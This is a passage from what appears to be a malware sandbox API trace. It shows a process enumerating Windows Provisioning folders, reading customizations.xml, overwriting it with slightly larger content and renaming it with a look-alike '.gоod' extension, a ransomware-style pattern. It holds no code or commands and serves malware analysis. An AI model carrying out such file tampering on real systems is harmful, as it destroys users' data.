ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", cAlternateFileName="{3742E~1")) returned 1 [0107.338] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", cAlternateFileName="{7A30A~1")) returned 1 [0107.338] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", cAlternateFileName="{8D196~1")) returned 1 [0107.338] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", cAlternateFileName="{8FB7D~1")) returned 1 [0107.338] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{99b095d8-5959-4820-bea7-7448c8427b4e}", cAlternateFileName="{99B09~1")) returned 1 [0107.339] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", cAlternateFileName="{9AEC5~1")) returned 1 [0107.339] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", cAlternateFileName="{9DF6A~1")) returned 1 [0107.339] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", cAlternateFileName="{B0B91~1")) returned 1 [0107.339] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{c5dc3753-b6c8-4057-b396-bf13d769311c}", cAlternateFileName="{C5DC3~1")) returned 1 [0107.339] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{c8a326e4-f518-4f14-b543-97a57e1a975e}", cAlternateFileName="{C8A32~1")) returned 1 [0107.339] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ee4aac98-c174-4941-82b1-d121e493e4fb}", cAlternateFileName="{EE4AA~1")) returned 1 [0107.339] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f11899f2-71ec-4621-9997-e17ae2f6eb26}", cAlternateFileName="{F1189~1")) returned 1 [0107.339] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 1 [0107.340] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0107.340] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0107.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0107.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0107.341] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\countrytable.xml", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\countrytable.xml", lpFilePart=0x0) returned 0x36 [0107.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0107.341] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\countrytable.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\countrytable.xml"), fInfoLevelId=0x0, lpFileInformation=0x35a71b0 | out: lpFileInformation=0x35a71b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60aed0fe, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x60aed0fe, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x60aed0fe, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70bb)) returned 1 [0107.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0107.342] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\countrytable.xml", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\countrytable.xml", lpFilePart=0x0) returned 0x36 [0107.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0107.342] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\countrytable.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\countrytable.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0107.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eafa0) returned 1 [0107.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0107.345] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpFilePart=0x0) returned 0x4c [0107.345] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0107.346] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.346] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ea7c91, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ea7c91, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ea7c91, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x98c, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0107.346] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0107.346] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0107.346] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0107.346] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0107.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0107.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0107.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0107.347] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpFilePart=0x0) returned 0x4c [0107.347] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0107.347] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.347] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ea7c91, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ea7c91, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ea7c91, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x98c, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0107.347] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0107.347] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0107.347] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0107.348] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0107.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0107.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0107.348] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0107.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0107.348] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x35b65f0 | out: lpFileInformation=0x35b65f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ea7c91, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ea7c91, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ea7c91, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x98c)) returned 1 [0107.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0107.348] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0107.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0107.348] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0107.348] GetFileType (hFile=0x7dc) returned 0x1 [0107.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0107.348] GetFileType (hFile=0x7dc) returned 0x1 [0107.348] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x98c [0107.348] ReadFile (in: hFile=0x7dc, lpBuffer=0x35b7298, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x35b7298*, lpNumberOfBytesRead=0x1f9edc08*=0x98c, lpOverlapped=0x0) returned 1 [0107.350] CloseHandle (hObject=0x7dc) returned 1 [0107.993] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0107.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0107.993] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0107.994] GetFileType (hFile=0x768) returned 0x1 [0107.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0107.994] GetFileType (hFile=0x768) returned 0x1 [0107.994] WriteFile (in: hFile=0x768, lpBuffer=0x38364d0*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x38364d0*, lpNumberOfBytesWritten=0x1f9edb18*=0x990, lpOverlapped=0x0) returned 1 [0107.995] CloseHandle (hObject=0x768) returned 1 [0107.995] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0107.995] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml.gоod", lpFilePart=0x0) returned 0x64 [0107.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0107.995] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ea7c91, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ea7c91, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x3c946b08, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x990)) returned 1 [0107.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0107.995] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml.gоod")) returned 1 [0107.996] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0107.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0107.996] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x3837800 | out: lpFileInformation=0x3837800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, 